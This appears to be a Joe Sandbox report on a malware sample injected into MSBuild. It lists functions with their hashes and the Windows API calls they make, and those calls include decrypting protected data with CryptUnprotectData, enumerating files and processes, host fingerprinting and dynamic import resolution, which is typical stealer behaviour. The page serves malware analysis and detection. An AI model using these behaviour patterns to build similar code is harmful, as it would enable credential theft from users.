Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

\*.*, xrefs: 0040E44D
@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00D55FD8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00D55FD8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00D55FD8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00D4D778), ref: 00419C2D
GetProcAddress.KERNEL32(74DD0000,00D4D678), ref: 00419C45
GetProcAddress.KERNEL32(74DD0000,00D4B238), ref: 00419C5E
GetProcAddress.KERNEL32(74DD0000,00D4B280), ref: 00419C76
GetProcAddress.KERNEL32(74DD0000,00D4B1F0), ref: 00419C8E
GetProcAddress.KERNEL32(74DD0000,00D4B100), ref: 00419CA7
GetProcAddress.KERNEL32(74DD0000,00D50820), ref: 00419CBF
GetProcAddress.KERNEL32(74DD0000,00D4B0D0), ref: 00419CD7
GetProcAddress.KERNEL32(74DD0000,00D4B328), ref: 00419CF0
GetProcAddress.KERNEL32(74DD0000,00D4B250), ref: 00419D08
GetProcAddress.KERNEL32(74DD0000,00D4B358), ref: 00419D20
GetProcAddress.KERNEL32(74DD0000,00D4D698), ref: 00419D39
GetProcAddress.KERNEL32(74DD0000,00D4D8B8), ref: 00419D51
GetProcAddress.KERNEL32(74DD0000,00D4D798), ref: 00419D69
GetProcAddress.KERNEL32(74DD0000,00D4D938), ref: 00419D82
GetProcAddress.KERNEL32(74DD0000,00D4B268), ref: 00419D9A
GetProcAddress.KERNEL32(74DD0000,00D4B298), ref: 00419DB2
GetProcAddress.KERNEL32(74DD0000,00D50708), ref: 00419DCB
GetProcAddress.KERNEL32(74DD0000,00D4D618), ref: 00419DE3
GetProcAddress.KERNEL32(74DD0000,00D4B370), ref: 00419DFB
GetProcAddress.KERNEL32(74DD0000,00D4B118), ref: 00419E14
GetProcAddress.KERNEL32(74DD0000,00D4B3E8), ref: 00419E2C
GetProcAddress.KERNEL32(74DD0000,00D4B400), ref: 00419E44
GetProcAddress.KERNEL32(74DD0000,00D4D638), ref: 00419E5D
GetProcAddress.KERNEL32(74DD0000,00D4B3B8), ref: 00419E75
GetProcAddress.KERNEL32(74DD0000,00D4B418), ref: 00419E8D
GetProcAddress.KERNEL32(74DD0000,00D4B3D0), ref: 00419EA6
GetProcAddress.KERNEL32(74DD0000,00D4B430), ref: 00419EBE
GetProcAddress.KERNEL32(74DD0000,00D4B448), ref: 00419ED6
GetProcAddress.KERNEL32(74DD0000,00D4B388), ref: 00419EEF
GetProcAddress.KERNEL32(74DD0000,00D4B3A0), ref: 00419F07
GetProcAddress.KERNEL32(74DD0000,00D551A0), ref: 00419F1F
GetProcAddress.KERNEL32(74DD0000,00D552F0), ref: 00419F38
GetProcAddress.KERNEL32(74DD0000,00D49CF8), ref: 00419F50
GetProcAddress.KERNEL32(74DD0000,00D55338), ref: 00419F68
GetProcAddress.KERNEL32(74DD0000,00D550B0), ref: 00419F81
GetProcAddress.KERNEL32(74DD0000,00D4D7F8), ref: 00419F99
GetProcAddress.KERNEL32(74DD0000,00D55350), ref: 00419FB1
GetProcAddress.KERNEL32(74DD0000,00D4D5B8), ref: 00419FCA
GetProcAddress.KERNEL32(74DD0000,00D552A8), ref: 00419FE2
GetProcAddress.KERNEL32(74DD0000,00D55128), ref: 00419FFA
GetProcAddress.KERNEL32(74DD0000,00D4D7B8), ref: 0041A013
GetProcAddress.KERNEL32(74DD0000,00D4D878), ref: 0041A02B
LoadLibraryA.KERNEL32(00D55140,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(00D55308,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(00D55320,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(00D55368,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(00D552C0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(00D55098,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(00D55080,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(00D55278,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(75290000,00D4D6B8), ref: 0041A0DA
GetProcAddress.KERNEL32(75290000,00D55200), ref: 0041A0F2
GetProcAddress.KERNEL32(75290000,00D54CF8), ref: 0041A10A
GetProcAddress.KERNEL32(75290000,00D550C8), ref: 0041A123
GetProcAddress.KERNEL32(75290000,00D4D838), ref: 0041A13B
GetProcAddress.KERNEL32(6FCD0000,00D50618), ref: 0041A160
GetProcAddress.KERNEL32(6FCD0000,00D4D858), ref: 0041A179
GetProcAddress.KERNEL32(6FCD0000,00D506E0), ref: 0041A191
GetProcAddress.KERNEL32(6FCD0000,00D551B8), ref: 0041A1A9
GetProcAddress.KERNEL32(6FCD0000,00D551E8), ref: 0041A1C2
GetProcAddress.KERNEL32(6FCD0000,00D4D6D8), ref: 0041A1DA
GetProcAddress.KERNEL32(6FCD0000,00D4D898), ref: 0041A1F2
GetProcAddress.KERNEL32(6FCD0000,00D55218), ref: 0041A20B
GetProcAddress.KERNEL32(752C0000,00D4D6F8), ref: 0041A22C
GetProcAddress.KERNEL32(752C0000,00D4D8D8), ref: 0041A244
GetProcAddress.KERNEL32(752C0000,00D550E0), ref: 0041A25D
GetProcAddress.KERNEL32(752C0000,00D551D0), ref: 0041A275
GetProcAddress.KERNEL32(752C0000,00D4D8F8), ref: 0041A28D
GetProcAddress.KERNEL32(74EC0000,00D50848), ref: 0041A2B3
GetProcAddress.KERNEL32(74EC0000,00D504D8), ref: 0041A2CB
GetProcAddress.KERNEL32(74EC0000,00D55290), ref: 0041A2E3
GetProcAddress.KERNEL32(74EC0000,00D55B48), ref: 0041A2FC
GetProcAddress.KERNEL32(74EC0000,00D55BC8), ref: 0041A314
GetProcAddress.KERNEL32(74EC0000,00D50640), ref: 0041A32C
GetProcAddress.KERNEL32(75BD0000,00D55230), ref: 0041A352
GetProcAddress.KERNEL32(75BD0000,00D55928), ref: 0041A36A
GetProcAddress.KERNEL32(75BD0000,00D54CA8), ref: 0041A382
GetProcAddress.KERNEL32(75BD0000,00D550F8), ref: 0041A39B
GetProcAddress.KERNEL32(75BD0000,00D55110), ref: 0041A3B3
GetProcAddress.KERNEL32(75BD0000,00D55968), ref: 0041A3CB
GetProcAddress.KERNEL32(75BD0000,00D559A8), ref: 0041A3E4
GetProcAddress.KERNEL32(75BD0000,00D552D8), ref: 0041A3FC
GetProcAddress.KERNEL32(75BD0000,00D55158), ref: 0041A414
GetProcAddress.KERNEL32(75A70000,00D558C8), ref: 0041A436
GetProcAddress.KERNEL32(75A70000,00D55248), ref: 0041A44E
GetProcAddress.KERNEL32(75A70000,00D55188), ref: 0041A466
GetProcAddress.KERNEL32(75A70000,00D55170), ref: 0041A47F
GetProcAddress.KERNEL32(75A70000,00D55260), ref: 0041A497
GetProcAddress.KERNEL32(75450000,00D55A48), ref: 0041A4B8
GetProcAddress.KERNEL32(75450000,00D55A88), ref: 0041A4D1
GetProcAddress.KERNEL32(75DA0000,00D55B68), ref: 0041A4F2
